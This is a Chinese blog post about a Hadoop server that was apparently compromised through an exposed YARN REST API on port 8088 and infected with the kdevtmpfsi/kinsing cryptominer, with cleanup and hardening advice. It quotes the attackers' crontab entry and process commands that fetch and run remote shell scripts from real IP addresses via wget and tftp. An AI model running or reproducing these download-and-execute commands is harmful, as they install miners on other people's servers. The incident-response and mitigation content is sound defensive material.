部署hadoop后感染挖矿病毒

今天在做云计算的实验中,在一台机器上开放了8088端口,过了几个小时后突然发现服务器有异常的大量上传流量,并且CPU跑满,其中一个高占用进程为 **kdevtmpfsi**,kill掉该进程后,没多久进程会重启。

部署hadoop后感染挖矿病毒

今天在做云计算的实验中,在一台机器上开放了8088端口,过了几个小时后突然发现服务器有异常的大量上传流量,并且CPU跑满,其中一个高占用进程为 kdevtmpfsi,kill掉该进程后,没多久进程会重启。

首先检查 hadoop用户的定时任务,发现

* * * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1

systemctl status 29239 查看父进程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
hadoop@master:/tmp$ systemctl status 29239
 session-1343.scope - Session 1343 of user hadoop
   Loaded: loaded (/run/systemd/transient/session-1343.scope; transient)
Transient: yes
   Active: active (abandoned) since Fri 2021-06-11 03:51:54 CEST; 7h ago
    Tasks: 134
   Memory: 3.1G
   CGroup: /user.slice/user-1000.slice/session-1343.scope
           ├─ 3448 bash /tmp/hadoop-hadoop/nm-local-dir/usercache/dr.who/appcache/application_1623376325436_0007/container_1623376325436_0007_01_000001/default_container_executor.sh
           ├─ 3451 /bin/bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://205.185.115.164/fuze.sh; chmod 777 fuze.sh; sh fuze.sh; tftp 205.185.115.164 -c get tftp1.sh; chmod 
           ├─ 3461 sh fuze.sh
           ├─ 3716 su
           ├─ 4774 /tmp/kinsing
           ├─ 4792 bash /tmp/hadoop-hadoop/nm-local-dir/usercache/dr.who/appcache/application_1623376325436_0007/container_1623376325436_0007_02_000001/default_container_executor.sh
           ├─ 4795 /bin/bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://205.185.115.164/fuze.sh; chmod 777 fuze.sh; sh fuze.sh; tftp 205.185.115.164 -c get tftp1.sh; chmod 
           ├─ 4804 sh fuze.sh
           ├─ 5091 su
           ├─29239 /tmp/kdevtmpfsi
           └─29883 /usr/lib/jvm/java-11-openjdk-amd64//bin/java -Dproc_nodemanager -Djava.net.preferIPv4Stack=true -Dyarn.log.dir=/opt/hadoop-3.2.2/logs -Dyarn.log.file=hadoop-hadoop-nodemanager-vmi5

清除了定时任务并删除了下载到tmp中的病毒程序,再kill掉异常进程(kdevtmpfs和kinsing)后恢复正常 (当时我没有马上对8088端口设置ip白名单,结果几分钟后又被上传了新任务)

出现这个问题的原因大概如下

注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何***则就均可利用其进行远程命令执行,从而进行挖矿等行为,***直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口

攻击者提交任务执行了一个脚本,下载了挖矿程序。

一下午的时间有好几个攻击者,有人从服务器上下载了大量的数据,有人下载了挖矿病毒,还有人创建定时任务。看来这个漏洞关注的人是非常的多,也是绝了。

image-20210611180537747

复现步骤如下:

https://segmentfault.com/a/1190000015264170

没想到有这么大的一个问题,而且从部署到被利用不过几个小时的事件,看来向公网暴露端口之前对风险要有一定的了解才行。

https://blog.51cto.com/hashlinux/2296233

https://neerajsabharwal.medium.com/hadoop-yarn-hack-9a72cc1328b6

comments powered by Disqus
本站访客数:
使用 Hugo 构建
主题 StackJimmy 设计